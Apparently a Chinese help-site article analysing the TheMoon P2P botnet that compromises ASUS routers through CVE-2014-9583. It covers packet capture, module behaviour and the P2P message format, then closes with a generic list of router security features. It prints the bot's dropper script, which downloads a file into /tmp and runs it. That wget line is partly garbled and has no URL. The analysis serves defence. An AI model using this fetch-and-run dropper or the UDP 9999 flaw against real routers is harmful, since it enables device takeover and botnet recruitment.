感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序介紹
作為不同網(wǎng)絡(luò)之間互相連接的樞紐,路由器系統(tǒng)構(gòu)成了基于TCP/IP 的國際互聯(lián)網(wǎng)絡(luò)Internet 的主體脈絡(luò),也可以說,路由器構(gòu)成了Internet的骨架。很多電腦用戶對(duì)于華碩路由器感染僵尸網(wǎng)絡(luò)很迷茫,下面小編主要針對(duì)這個(gè)問題為大家講解感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序TheMoon,希望可以幫助到大家
具體介紹
僵尸網(wǎng)絡(luò)是指采用一種或多種傳播手段,是指實(shí)現(xiàn)惡意控制功能的程序代碼,在控制者和被感染主機(jī)之間所形成的一個(gè)可一對(duì)多控制的網(wǎng)絡(luò)。
利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。
CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個(gè)路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請(qǐng)求的MAC地址。遠(yuǎn)程攻擊者可通過向UDP 9999端口發(fā)送NET_CMD_ID_MANU_CMD數(shù)據(jù)包利用該漏洞繞過身份驗(yàn)證,執(zhí)行任意命令。詳情參見GitHub
以下是bot從網(wǎng)站自動(dòng)下載的nmlt1.sh文件內(nèi)容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd chmod +x .nttpd
./.nttpd
路由器將會(huì)從攻擊者控制的網(wǎng)站上自動(dòng)下載并執(zhí)行.nttpd文件,.nttpd運(yùn)行后將成為駐留進(jìn)程。以下為.nttpd文件哈希信息
\
該bot程序?qū)儆赥heMoon惡意軟件系列,程序結(jié)構(gòu)如下:
\
該bot程序主要不同在于os_init和 run_modules函數(shù),os_init中插入了8個(gè)iptables規(guī)則:
\
為了獲得感染設(shè)備的絕對(duì)控制權(quán),防止反復(fù)感染,其中第一條規(guī)則通過關(guān)閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規(guī)則是關(guān)閉多個(gè)端口,阻止其它攻擊者利用D-Link的一個(gè)遠(yuǎn)程命令執(zhí)行漏洞。其余為bot程序建立的網(wǎng)絡(luò)通信規(guī)則。
在run_modules中,bot加載了3個(gè)模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個(gè)線程,一個(gè)用來計(jì)時(shí),一個(gè)用來同步,它通過查詢公開NTP服務(wù)器保持UTC時(shí)間。抓包發(fā)現(xiàn)bot與NTP服務(wù)器之間的請(qǐng)求回應(yīng)流量
\
Net模塊
該模塊開啟了UDP 5143端口,并創(chuàng)建了一個(gè)P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結(jié)構(gòu):
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
相關(guān)閱讀:路由器安全特性關(guān)鍵點(diǎn)
由于路由器是網(wǎng)絡(luò)中比較關(guān)鍵的設(shè)備,針對(duì)網(wǎng)絡(luò)存在的各種安全隱患,路由器必須具有如下的安全特性:
(1)可靠性與線路安全 可靠性要求是針對(duì)故障恢復(fù)和負(fù)載能力而提出來的。對(duì)于路由器來說,可靠性主要體現(xiàn)在接口故障和網(wǎng)絡(luò)流量增大兩種情況下,為此,備份是路由器不可或缺的手段之一。當(dāng)主接口出現(xiàn)故障時(shí),備份接口自動(dòng)投入工作,保證網(wǎng)絡(luò)的正常運(yùn)行。當(dāng)網(wǎng)絡(luò)流量增大時(shí),備份接口又可承當(dāng)負(fù)載分擔(dān)的任務(wù)。
(2)身份認(rèn)證路由器中的身份認(rèn)證主要包括訪問路由器時(shí)的身份認(rèn)證、對(duì)端路由器的身份認(rèn)證和路由信息的身份認(rèn)證。
(3)訪問控制對(duì)于路由器的訪問控制,需要進(jìn)行口令的分級(jí)保護(hù)。有基于IP地址的訪問控制和基于用戶的訪問控制。
(4)信息隱藏與對(duì)端通信時(shí),不一定需要用真實(shí)身份進(jìn)行通信。通過地址轉(zhuǎn)換,可以做到隱藏網(wǎng)內(nèi)地址,只以公共地址的方式訪問外部網(wǎng)絡(luò)。除了由內(nèi)部網(wǎng)絡(luò)首先發(fā)起的連接,網(wǎng)外用戶不能通過地址轉(zhuǎn)換直接訪問網(wǎng)內(nèi)資源。
(5)數(shù)據(jù)加密
為了避免因?yàn)閿?shù)據(jù)竊聽而造成的信息泄漏,有必要對(duì)所傳輸?shù)男畔⑦M(jìn)行加密,只有與之通信的對(duì)端才能對(duì)此密文進(jìn)行解密。通過對(duì)路由器所發(fā)送的報(bào)文進(jìn)行加密,即使在Internet上進(jìn)行傳輸,也能保證數(shù)據(jù)的私有性、完整性以及報(bào)文內(nèi)容的真實(shí)性。
(6)攻擊探測(cè)和防范
路由器作為一個(gè)內(nèi)部網(wǎng)絡(luò)對(duì)外的接口設(shè)備,是攻擊者進(jìn)入內(nèi)部網(wǎng)絡(luò)的第一個(gè)目標(biāo)。如果路由器不提供攻擊檢測(cè)和防范,則也是攻擊者進(jìn)入內(nèi)部網(wǎng)絡(luò)的一個(gè)橋梁。在路由器上提供攻擊檢測(cè),可以防止一部分的攻擊。
(7)安全管理
內(nèi)部網(wǎng)絡(luò)與外部網(wǎng)絡(luò)之間的每一個(gè)數(shù)據(jù)報(bào)文都會(huì)通過路由器,在路由器上進(jìn)行報(bào)文的審計(jì)可以提供網(wǎng)絡(luò)運(yùn)行的必要信息,有助于分析網(wǎng)絡(luò)的運(yùn)行情況。
P2P網(wǎng)絡(luò)程序介紹相關(guān)文章: